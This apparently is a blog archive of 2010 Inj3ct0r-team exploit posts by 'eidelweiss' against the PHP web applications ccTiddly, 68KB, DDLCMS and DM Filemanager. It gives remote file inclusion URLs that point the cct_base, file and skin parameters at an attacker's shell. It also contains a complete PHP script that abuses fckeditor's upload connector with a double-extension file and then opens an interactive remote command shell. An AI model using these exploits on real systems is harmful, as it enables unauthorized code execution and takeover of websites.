1 ######################################## 1
0 I'm eidelweiss member from Inj3ct0r Team 1
1 ######################################## 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Developer: http://tiddlywiki.org/wiki/CcTiddlyDeveloper
Download: http://tiddlywiki.org/ccTiddly/ccTiddly_v1.7.6.zip
Author: eidelweiss
Contact: g1xsystem[at]windowslive.com
================================================================
ccTiddly is a collaborative server side version of TiddlyWiki.
Note:
This is the same vuln in other lower version (http://www.exploit-db.com/exploits/7336/)
Vendor Not Fix the vulnerability in all folder !!!
================================================================
-=[Vuln C0de]=-
[!] path/includes/include.php
include_once($cct_base."includes/ccAssignments.php");
[!] path/includes/workspace.php
include_once($cct_base."includes/header.php");
include_once($cct_base."includes/user.php");
include_once($cct_base."includes/tiddler.php");
================================================================
-=[P0C]=-
http://127.0.0.1/path/includes/include.php?cct_base= [inj3ct0r sh3ll]
http://127.0.0.1/path/includes/workspace.php?cct_base= [inj3ct0r sh3ll]
=========================| -=[ E0F ]=- |============================
2010/08/03
68KB v1.0.0rc4 Remote File Include Vulnerability
====================================================
68KB v1.0.0rc4 Remote File Include Vulnerability
====================================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ######################################## 1
0 I'm eidelweiss member from Inj3ct0r Team 1
1 ######################################## 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Vendor: http://68kb.com
download: http://github.com/68designs/68KB/downloads
Author: eidelweiss
Contact: g1xsystem[at]windowslive.com
=====================================================================
Description:
68KB is an open source PHP MySQL driven knowledge base script. Built with you in mind to make it easy to configure and setup.
Note:
This is the same vuln in other lower version (http://www.exploit-db.com/exploits/11904/)
Vendor Not Fix the vulnerability in all File Directory !!!
=====================================================================
-=[ vuln c0de ]=-
[!] path/themes/admin/default/modules/show.php
=====================================================================
-=[ P0C ]=-
http://127.0.0.1/path/themes/admin/default/modules/show.php?file= [inj3ct0r shell]
=========================| -=[ E0F ]=- |=================================
2010/07/24
DM Filemanager (fckeditor) Remote Arbitrary File Upload Exploit
/*
-----------------------------------------------------------------
DM Filemanager (fckeditor) Remote Arbitrary File Upload Exploit
-----------------------------------------------------------------
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ######################################## 1
0 I'm eidelweiss member from Inj3ct0r Team 1
1 ######################################## 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Vendor: www.dutchmonkey.com
Download : http://www.dutchmonkey.com/?file=downloads.html&label=Downloads
exploited by ..: eidelweiss
Affected: version 3.9.11
details..: works with an Apache server with the mod_mime module installed (if specific)
[-] vulnerable code in /path/fckeditor/editor/filemanager/connectors/php/config.php
[*] // SECURITY: You must explicitly enable this "connector". (Set it to "true").
[*]
[*] $Config['Enabled'] = true ;
[*]
[*] // Path to user files relative to the document root.
[*] $Config['UserFilesPath'] = '/userfiles/' ;
[*]
[*] // Fill the following value it you prefer to specify the absolute path for the
[*] // user files directory. Usefull if you are using a virtual directory, symbolic
[*] // link or alias. Examples: 'C:\\MySite\\UserFiles\\' or '/root/mysite/UserFiles/'.
[*] // Attention: The above 'UserFilesPath' must point to the same directory.
[*]
[*]
[*] $Config['AllowedExtensions']['File'] = array('7z', 'aiff', 'asf', 'avi', 'bmp', 'csv', 'doc', 'fla', 'flv', 'gif', 'gz', [....]
[*] $Config['DeniedExtensions']['File'] = array() ;
[*]
[*] $Config['AllowedExtensions']['Image'] = array('bmp','gif','jpeg','jpg','png') ;
[*] $Config['DeniedExtensions']['Image'] = array() ;
[*]
[*] $Config['AllowedExtensions']['Flash'] = array('swf','flv') ;
[*] $Config['DeniedExtensions']['Flash'] = array() ;
[*]
[*] $Config['AllowedExtensions']['Media'] = array('aiff', 'asf', 'avi', 'bmp', 'fla', 'flv', 'gif', 'jpeg', 'jpg', 'mid', 'mov', 'mp3', 'mp4', 'mpc', 'mpeg', 'mpg', 'png', 'qt', 'ram', 'rm', 'rmi', 'rmvb', 'swf', 'tif', 'tiff', 'wav', 'wma', 'wmv') ;
[*] $Config['DeniedExtensions']['Media'] = array() ;
with a default configuration of this script, an attacker might be able to upload arbitrary
files containing malicious PHP code due to multiple file extensions isn't properly checked
*/
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}
function upload()
{
global $host, $path;
$connector = "/fckeditor/editor/filemanager/connectors/php/config.php";
$file_ext = array("zip", "jpg", "fla", "doc", "xls", "rtf", "csv");
foreach ($file_ext as $ext)
{
print "\n[-] Trying to upload with .{$ext} extension...";
$data = "--abcdef\r\n";
$data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"0k.php.{$ext}\"\r\n";
$data .= "Content-Type: application/octet-stream\r\n\r\n";
$data .= "\r\n";
$data .= "--abcdef--\r\n";
$packet = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($data)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=abcdef\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $data;
preg_match("/OnUploadCompleted\((.*),'(.*)'\)/i", http_send($host, $packet), $html);
if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]}: {$html[2]})\n");
$packet = "GET {$path}0k.php.{$ext} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);
if (!eregi("print", $html) and eregi("_code_", $html)) return $ext;
sleep(1);
}
return false;
}
print "\n+--------------------------------------------------------------------------+";
print "\n| DM Filemanager (fckeditor) Remote Arbitrary File Upload Exploit |";
print "\n+--------------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /dm-filemanager/\n";
die();
}
$host = $argv[1];
$path = $argv[2];
if (!($ext = upload())) die("\n\n[-] Exploit failed...\n");
else print "\n[-] Shell uploaded...starting it!\n";
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
print "\dm-filemanager-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$packet = "GET {$path}0k.php.{$ext} HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Cmd: ".base64_encode($cmd)."\r\n";
$packet.= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);
if (!eregi("_code_", $html)) die("\n[-] Exploit failed...\n");
$shell = explode("_code_", $html);
print "\n{$shell[1]}";
}
else break;
}
?>
2010/06/04
DDLCMS v2.1 (skin) Remote File Inclusion Vulnerability
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ######################################## 1
0 I'm eidelweiss member from Inj3ct0r Team 1
1 ######################################## 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Vendor: www.ddlcms.com
download: http://www.ddlcms.com/download.php
Author: eidelweiss
Contact: g1xsystem[at]windowslive.com
=====================================================================
-=[ Vuln Code ]=-
[-] /thanks.php
include(WWWROOT . 'skins/' . $skin . '/header.php'); // line 46
include(WWWROOT . 'leftside.php');
=====================================================================
-=[ P0C ]=-
"skin" parameter in FILE thanks.php is not Defined which can allow remote attackers to execute arbitrary PHP code via a URL
-=[ exploit ]=-
http://127.0.0.1/thanks.php?skin= [inj3ct0r sh3ll]
=========================| -=[ E0F ]=- |=========================
Subscribe to:
Posts (Atom)